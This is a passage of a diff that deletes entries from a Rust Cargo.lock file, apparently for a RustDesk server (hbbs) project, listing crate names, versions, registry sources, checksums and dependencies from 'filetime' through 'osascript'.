-checksum = "c3fcf0cee53519c866c09b5de1f6c56ff9d647101f81c1964fa632e148896cdf"
-dependencies = [
- "instant",
-]
-
-[[package]]
-name = "filetime"
-version = "0.2.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0408e2626025178a6a7f7ffc05a25bc47103229f19c113755de7bf63816290c"
-dependencies = [
- "cfg-if",
- "libc",
- "redox_syscall",
- "winapi",
-]
-
-[[package]]
-name = "flate2"
-version = "1.0.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c936bfdafb507ebbf50b8074c54fa31c5be9a1e7e5f467dd659697041407d07c"
-dependencies = [
- "crc32fast",
- "miniz_oxide",
-]
-
-[[package]]
-name = "flexi_logger"
-version = "0.22.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "969940c39bc718475391e53a3a59b0157e64929c80cf83ad5dde5f770ecdc423"
-dependencies = [
- "ansi_term",
- "atty",
- "chrono",
- "crossbeam",
- "glob",
- "lazy_static",
- "log",
- "regex",
- "rustversion",
- "thiserror",
- "time",
-]
-
-[[package]]
-name = "flexi_logger"
-version = "0.27.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "469e584c031833564840fb0cdbce99bdfe946fd45480a188545e73a76f45461c"
-dependencies = [
- "chrono",
- "crossbeam-channel",
- "crossbeam-queue",
- "glob",
- "is-terminal",
- "lazy_static",
- "log",
- "nu-ansi-term",
- "regex",
- "thiserror",
-]
-
-[[package]]
-name = "flume"
-version = "0.10.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "843c03199d0c0ca54bc1ea90ac0d507274c28abcc4f691ae8b4eaa375087c76a"
-dependencies = [
- "futures-core",
- "futures-sink",
- "pin-project",
- "spin 0.9.3",
-]
-
-[[package]]
-name = "fnv"
-version = "1.0.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1"
-
-[[package]]
-name = "foreign-types"
-version = "0.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
-dependencies = [
- "foreign-types-shared",
-]
-
-[[package]]
-name = "foreign-types-shared"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
-
-[[package]]
-name = "form_urlencoded"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5fc25a87fa4fd2094bffb06925852034d90a17f0d1e05197d4956d3555752191"
-dependencies = [
- "matches",
- "percent-encoding",
-]
-
-[[package]]
-name = "futures"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f73fe65f54d1e12b726f517d3e2135ca3125a437b6d998caf1962961f7172d9e"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-executor",
- "futures-io",
- "futures-sink",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-channel"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3083ce4b914124575708913bca19bfe887522d6e2e6d0952943f5eac4a74010"
-dependencies = [
- "futures-core",
- "futures-sink",
-]
-
-[[package]]
-name = "futures-core"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0c09fd04b7e4073ac7156a9539b57a484a8ea920f79c7c675d05d289ab6110d3"
-
-[[package]]
-name = "futures-executor"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9420b90cfa29e327d0429f19be13e7ddb68fa1cccb09d65e5706b8c7a749b8a6"
-dependencies = [
- "futures-core",
- "futures-task",
- "futures-util",
-]
-
-[[package]]
-name = "futures-intrusive"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62007592ac46aa7c2b6416f7deb9a8a8f63a01e0f1d6e1787d5630170db2b63e"
-dependencies = [
- "futures-core",
- "lock_api",
- "parking_lot 0.11.2",
-]
-
-[[package]]
-name = "futures-io"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc4045962a5a5e935ee2fdedaa4e08284547402885ab326734432bed5d12966b"
-
-[[package]]
-name = "futures-macro"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33c1e13800337f4d4d7a316bf45a567dbcb6ffe087f16424852d97e97a91f512"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 1.0.93",
-]
-
-[[package]]
-name = "futures-sink"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "21163e139fa306126e6eedaf49ecdb4588f939600f0b1e770f4205ee4b7fa868"
-
-[[package]]
-name = "futures-task"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57c66a976bf5909d801bbef33416c41372779507e7a6b3a5e25e4749c58f776a"
-
-[[package]]
-name = "futures-timer"
-version = "3.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e64b03909df88034c26dc1547e8970b91f98bdb65165d6a4e9110d94263dbb2c"
-
-[[package]]
-name = "futures-util"
-version = "0.3.21"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d8b7abd5d659d9b90c8cba917f6ec750a74e2dc23902ef9cd4cc8c8b22e6036a"
-dependencies = [
- "futures-channel",
- "futures-core",
- "futures-io",
- "futures-macro",
- "futures-sink",
- "futures-task",
- "memchr",
- "pin-project-lite",
- "pin-utils",
- "slab",
-]
-
-[[package]]
-name = "generic-array"
-version = "0.14.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fd48d33ec7f05fbfa152300fdad764757cbded343c1aa1cff2fbaf4134851803"
-dependencies = [
- "typenum",
- "version_check",
-]
-
-[[package]]
-name = "getrandom"
-version = "0.2.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
-dependencies = [
- "cfg-if",
- "libc",
- "wasi",
-]
-
-[[package]]
-name = "gimli"
-version = "0.31.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "07e28edb80900c19c28f1072f2e8aeca7fa06b23cd4169cefe1af5aa3260783f"
-
-[[package]]
-name = "glob"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b919933a397b79c37e33b77bb2aa3dc8eb6e165ad809e58ff75bc7db2e34574"
-
-[[package]]
-name = "h2"
-version = "0.3.26"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "81fe527a889e1532da5c525686d96d4c2e74cdd345badf8dfef9f6b39dd5f5e8"
-dependencies = [
- "bytes",
- "fnv",
- "futures-core",
- "futures-sink",
- "futures-util",
- "http",
- "indexmap 2.7.0",
- "slab",
- "tokio",
- "tokio-util",
- "tracing",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.11.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab5ef0d4909ef3724cc8cce6ccc8572c5c817592e9285f5464f8e86f8bd3726e"
-
-[[package]]
-name = "hashbrown"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "db0d4cf898abf0081f964436dc980e96670a0f36863e4b83aaacdb65c9d7ccc3"
-dependencies = [
- "ahash",
-]
-
-[[package]]
-name = "hashbrown"
-version = "0.15.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
-
-[[package]]
-name = "hashlink"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d452c155cb93fecdfb02a73dd57b5d8e442c2063bd7aac72f1bc5e4263a43086"
-dependencies = [
- "hashbrown 0.12.1",
-]
-
-[[package]]
-name = "hbb_common"
-version = "0.1.0"
-dependencies = [
- "anyhow",
- "backtrace",
- "base64 0.22.1",
- "bytes",
- "chrono",
- "confy",
- "default_net",
- "directories-next",
- "dirs-next",
- "dlopen",
- "env_logger 0.10.2",
- "filetime",
- "flexi_logger 0.27.4",
- "futures",
- "futures-util",
- "httparse",
- "lazy_static",
- "libc",
- "log",
- "mac_address",
- "machine-uid 0.3.0",
- "osascript",
- "protobuf",
- "protobuf-codegen",
- "rand",
- "regex",
- "rustls-pki-types",
- "rustls-platform-verifier",
- "serde",
- "serde_derive",
- "serde_json",
- "sha2",
- "socket2 0.3.19",
- "sodiumoxide",
- "sysinfo",
- "thiserror",
- "tokio",
- "tokio-native-tls",
- "tokio-rustls 0.26.1",
- "tokio-socks 0.5.2-1",
- "tokio-util",
- "toml 0.7.8",
- "url",
- "uuid",
- "winapi",
- "zstd",
-]
-
-[[package]]
-name = "hbbs"
-version = "1.1.14"
-dependencies = [
- "async-speed-limit",
- "async-trait",
- "axum",
- "base64 0.13.0",
- "bcrypt",
- "chrono",
- "clap",
- "deadpool",
- "dns-lookup",
- "flexi_logger 0.22.3",
- "hbb_common",
- "headers",
- "http",
- "ipnetwork",
- "jsonwebtoken",
- "lazy_static",
- "local-ip-address",
- "mac_address",
- "machine-uid 0.2.0",
- "minreq",
- "once_cell",
- "ping",
- "regex",
- "reqwest",
- "rust-ini",
- "serde",
- "serde_derive",
- "serde_json",
- "sodiumoxide",
- "sqlx",
- "tokio-tungstenite",
- "tower-http",
- "tungstenite",
- "uuid",
- "whoami",
-]
-
-[[package]]
-name = "headers"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4cff78e5788be1e0ab65b04d306b2ed5092c815ec97ec70f4ebd5aee158aa55d"
-dependencies = [
- "base64 0.13.0",
- "bitflags 1.3.2",
- "bytes",
- "headers-core",
- "http",
- "httpdate",
- "mime",
- "sha-1",
-]
-
-[[package]]
-name = "headers-core"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e7f66481bfee273957b1f20485a4ff3362987f85b2c236580d81b4eb7a326429"
-dependencies = [
- "http",
-]
-
-[[package]]
-name = "heck"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2540771e65fc8cb83cd6e8a237f70c319bd5c29f78ed1084ba5d50eeac86f7f9"
-dependencies = [
- "unicode-segmentation",
-]
-
-[[package]]
-name = "hermit-abi"
-version = "0.1.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62b467343b94ba476dcb2500d242dadbb39557df889310ac77c5d99100aaac33"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "hermit-abi"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fbf6a919d6cf397374f7dfeeea91d974c7c0a7221d0d0f4f20d859d329e53fcc"
-
-[[package]]
-name = "hex"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
-
-[[package]]
-name = "http"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff8670570af52249509a86f5e3e18a08c60b177071826898fde8997cf5f6bfbb"
-dependencies = [
- "bytes",
- "fnv",
- "itoa",
-]
-
-[[package]]
-name = "http-body"
-version = "0.4.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1ff4f84919677303da5f147645dbea6b1881f368d03ac84e1dc09031ebd7b2c6"
-dependencies = [
- "bytes",
- "http",
- "pin-project-lite",
-]
-
-[[package]]
-name = "http-range-header"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0bfe8eed0a9285ef776bb792479ea3834e8b94e13d615c2f66d03dd50a435a29"
-
-[[package]]
-name = "httparse"
-version = "1.9.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d71d3574edd2771538b901e6549113b4006ece66150fb69c0fb6d9a2adae946"
-
-[[package]]
-name = "httpdate"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421"
-
-[[package]]
-name = "humantime"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4"
-
-[[package]]
-name = "hyper"
-version = "0.14.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7"
-dependencies = [
- "bytes",
- "futures-channel",
- "futures-core",
- "futures-util",
- "h2",
- "http",
- "http-body",
- "httparse",
- "httpdate",
- "itoa",
- "pin-project-lite",
- "socket2 0.5.8",
- "tokio",
- "tower-service",
- "tracing",
- "want",
-]
-
-[[package]]
-name = "hyper-rustls"
-version = "0.24.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590"
-dependencies = [
- "futures-util",
- "http",
- "hyper",
- "rustls 0.21.12",
- "tokio",
- "tokio-rustls 0.24.1",
-]
-
-[[package]]
-name = "hyper-tls"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905"
-dependencies = [
- "bytes",
- "hyper",
- "native-tls",
- "tokio",
- "tokio-native-tls",
-]
-
-[[package]]
-name = "iana-time-zone"
-version = "0.1.61"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "235e081f3925a06703c2d0117ea8b91f042756fd6e7a6e5d901e8ca1a996b220"
-dependencies = [
- "android_system_properties",
- "core-foundation-sys",
- "iana-time-zone-haiku",
- "js-sys",
- "wasm-bindgen",
- "windows-core 0.52.0",
-]
-
-[[package]]
-name = "iana-time-zone-haiku"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f"
-dependencies = [
- "cc",
-]
-
-[[package]]
-name = "idna"
-version = "0.2.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8"
-dependencies = [
- "matches",
- "unicode-bidi",
- "unicode-normalization",
-]
-
-[[package]]
-name = "indexmap"
-version = "1.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0f647032dfaa1f8b6dc29bd3edb7bbef4861b8b8007ebb118d6db284fd59f6ee"
-dependencies = [
- "autocfg",
- "hashbrown 0.11.2",
-]
-
-[[package]]
-name = "indexmap"
-version = "2.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62f822373a4fe84d4bb149bf54e584a7f4abec90e072ed49cda0edea5b95471f"
-dependencies = [
- "equivalent",
- "hashbrown 0.15.2",
-]
-
-[[package]]
-name = "inout"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "instant"
-version = "0.1.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "ipnet"
-version = "2.10.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ddc24109865250148c2e0f3d25d4f0f479571723792d3802153c60922a4fb708"
-
-[[package]]
-name = "ipnetwork"
-version = "0.20.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bf466541e9d546596ee94f9f69590f89473455f88372423e0008fc1a7daf100e"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "is-terminal"
-version = "0.4.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "261f68e344040fbd0edea105bef17c66edf46f984ddb1115b775ce31be948f4b"
-dependencies = [
- "hermit-abi 0.4.0",
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "itertools"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9a9d19fa1e79b6215ff29b9d6880b706147f16e9b1dbb1e4e5947b5b02bc5e3"
-dependencies = [
- "either",
-]
-
-[[package]]
-name = "itoa"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1aab8fc367588b89dcee83ab0fd66b72b50b72fa1904d7095045ace2b0c81c35"
-
-[[package]]
-name = "jni"
-version = "0.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c6df18c2e3db7e453d3c6ac5b3e9d5182664d28788126d39b91f2d1e22b017ec"
-dependencies = [
- "cesu8",
- "combine",
- "jni-sys",
- "log",
- "thiserror",
- "walkdir",
-]
-
-[[package]]
-name = "jni-sys"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130"
-
-[[package]]
-name = "jobserver"
-version = "0.1.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "48d1dbcbbeb6a7fec7e059840aa538bd62aaccf972c7346c4d9d2059312853d0"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "js-sys"
-version = "0.3.77"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f"
-dependencies = [
- "once_cell",
- "wasm-bindgen",
-]
-
-[[package]]
-name = "jsonwebtoken"
-version = "8.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cc9051c17f81bae79440afa041b3a278e1de71bfb96d32454b477fd4703ccb6f"
-dependencies = [
- "base64 0.13.0",
- "pem",
- "ring 0.16.20",
- "serde",
- "serde_json",
- "simple_asn1",
-]
-
-[[package]]
-name = "lazy_static"
-version = "1.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
-
-[[package]]
-name = "lazycell"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
-
-[[package]]
-name = "lexical-core"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6607c62aa161d23d17a9072cc5da0be67cdfc89d3afb1e8d9c842bebc2525ffe"
-dependencies = [
- "arrayvec",
- "bitflags 1.3.2",
- "cfg-if",
- "ryu",
- "static_assertions",
-]
-
-[[package]]
-name = "libc"
-version = "0.2.169"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5aba8db14291edd000dfcc4d620c7ebfb122c613afb886ca8803fa4e128a20a"
-
-[[package]]
-name = "libloading"
-version = "0.8.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc2f4eb4bc735547cfed7c0a4922cbd04a4655978c09b54f1f7b228750664c34"
-dependencies = [
- "cfg-if",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "libsodium-sys"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6b779387cd56adfbc02ea4a668e704f729be8d6a6abd2c27ca5ee537849a92fd"
-dependencies = [
- "cc",
- "libc",
- "pkg-config",
- "walkdir",
-]
-
-[[package]]
-name = "libsqlite3-sys"
-version = "0.24.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "898745e570c7d0453cc1fbc4a701eb6c662ed54e8fec8b7d14be137ebeeb9d14"
-dependencies = [
- "cc",
- "pkg-config",
- "vcpkg",
-]
-
-[[package]]
-name = "local-ip-address"
-version = "0.5.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2815836665de176ba66deaa449ada98fdf208d84730d1a84a22cbeed6151a6fa"
-dependencies = [
- "libc",
- "neli",
- "thiserror",
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "lock_api"
-version = "0.4.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "327fa5b6a6940e4699ec49a9beae1ea4845c6bab9314e4f84ac68742139d8c53"
-dependencies = [
- "autocfg",
- "scopeguard",
-]
-
-[[package]]
-name = "log"
-version = "0.4.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "mac_address"
-version = "1.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4863ee94f19ed315bf3bc00299338d857d4b5bc856af375cc97d237382ad3856"
-dependencies = [
- "nix",
- "winapi",
-]
-
-[[package]]
-name = "machine-uid"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f1595709b0a7386bcd56ba34d250d626e5503917d05d32cdccddcd68603e212"
-dependencies = [
- "winreg 0.6.2",
-]
-
-[[package]]
-name = "machine-uid"
-version = "0.3.0"
-source = "git+https://github.com/rustdesk-org/machine-uid#381ff579c1dc3a6c54db9dfec47c44bcb0246542"
-dependencies = [
- "bindgen",
- "cc",
- "winreg 0.11.0",
-]
-
-[[package]]
-name = "matches"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f"
-
-[[package]]
-name = "matchit"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "73cbba799671b762df5a175adf59ce145165747bb891505c43d09aefbbf38beb"
-
-[[package]]
-name = "memchr"
-version = "2.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
-
-[[package]]
-name = "memoffset"
-version = "0.6.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "mime"
-version = "0.3.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d"
-
-[[package]]
-name = "mime_guess"
-version = "2.0.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4192263c238a5f0d0c6bfd21f336a313a4ce1c450542449ca191bb657b4642ef"
-dependencies = [
- "mime",
- "unicase",
-]
-
-[[package]]
-name = "minimal-lexical"
-version = "0.2.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
-
-[[package]]
-name = "miniz_oxide"
-version = "0.8.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b8402cab7aefae129c6977bb0ff1b8fd9a04eb5b51efc50a70bea51cda0c7924"
-dependencies = [
- "adler2",
-]
-
-[[package]]
-name = "minreq"
-version = "2.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4c785bc6027fd359756e538541c8624012ba3776d3d3fe123885643092ed4132"
-dependencies = [
- "log",
- "punycode",
-]
-
-[[package]]
-name = "mio"
-version = "1.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2886843bf800fba2e3377cff24abf6379b4c4d5c6681eaf9ea5b0d15090450bd"
-dependencies = [
- "libc",
- "wasi",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "native-tls"
-version = "0.2.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8614eb2c83d59d1c8cc974dd3f920198647674a0a035e1af1fa58707e317466"
-dependencies = [
- "libc",
- "log",
- "openssl",
- "openssl-probe",
- "openssl-sys",
- "schannel",
- "security-framework",
- "security-framework-sys",
- "tempfile",
-]
-
-[[package]]
-name = "neli"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1100229e06604150b3becd61a4965d5c70f3be1759544ea7274166f4be41ef43"
-dependencies = [
- "byteorder",
- "libc",
- "log",
- "neli-proc-macros",
-]
-
-[[package]]
-name = "neli-proc-macros"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c168194d373b1e134786274020dae7fc5513d565ea2ebb9bc9ff17ffb69106d4"
-dependencies = [
- "either",
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "serde",
- "syn 1.0.93",
-]
-
-[[package]]
-name = "nix"
-version = "0.23.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9f866317acbd3a240710c63f065ffb1e4fd466259045ccb504130b7f668f35c6"
-dependencies = [
- "bitflags 1.3.2",
- "cc",
- "cfg-if",
- "libc",
- "memoffset",
-]
-
-[[package]]
-name = "nom"
-version = "5.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ffb4262d26ed83a1c0a33a38fe2bb15797329c85770da05e6b828ddb782627af"
-dependencies = [
- "lexical-core",
- "memchr",
- "version_check",
-]
-
-[[package]]
-name = "nom"
-version = "7.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a8903e5a29a317527874d0402f867152a3d21c908bb0b933e416c65e301d4c36"
-dependencies = [
- "memchr",
- "minimal-lexical",
-]
-
-[[package]]
-name = "ntapi"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e8a3895c6391c39d7fe7ebc444a87eb2991b2a0bc718fdabd071eec617fc68e4"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "nu-ansi-term"
-version = "0.49.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c073d3c1930d0751774acf49e66653acecb416c3a54c6ec095a9b11caddb5a68"
-dependencies = [
- "windows-sys 0.48.0",
-]
-
-[[package]]
-name = "num-bigint"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a5e44f723f1133c9deac646763579fdb3ac745e418f2a7af9cd0c431da1f20b9"
-dependencies = [
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-integer"
-version = "0.1.46"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "num-traits"
-version = "0.2.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "num_cpus"
-version = "1.13.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1"
-dependencies = [
- "hermit-abi 0.1.19",
- "libc",
-]
-
-[[package]]
-name = "num_threads"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2819ce041d2ee131036f4fc9d6ae7ae125a3a40e97ba64d04fe799ad9dabbb44"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "object"
-version = "0.36.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62948e14d923ea95ea2c7c86c71013138b66525b86bdc08d2dcc262bdb497b87"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.20.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775"
-
-[[package]]
-name = "openssl"
-version = "0.10.68"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6174bc48f102d208783c2c84bf931bb75927a617866870de8a4ea85597f871f5"
-dependencies = [
- "bitflags 2.7.0",
- "cfg-if",
- "foreign-types",
- "libc",
- "once_cell",
- "openssl-macros",
- "openssl-sys",
-]
-
-[[package]]
-name = "openssl-macros"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 2.0.96",
-]
-
-[[package]]
-name = "openssl-probe"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ff011a302c396a5197692431fc1948019154afc178baf7d8e37367442a4601cf"
-
-[[package]]
-name = "openssl-sys"
-version = "0.9.104"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "45abf306cbf99debc8195b66b7346498d7b10c210de50418b5ccd7ceba08c741"
-dependencies = [
- "cc",
- "libc",
- "pkg-config",
- "vcpkg",
-]
-
-[[package]]
-name = "ordered-multimap"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ccd746e37177e1711c20dd619a1620f34f5c8b569c53590a72dedd5344d8924a"
-dependencies = [
- "dlv-list",
- "hashbrown 0.12.1",
-]
-
-[[package]]
-name = "osascript"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
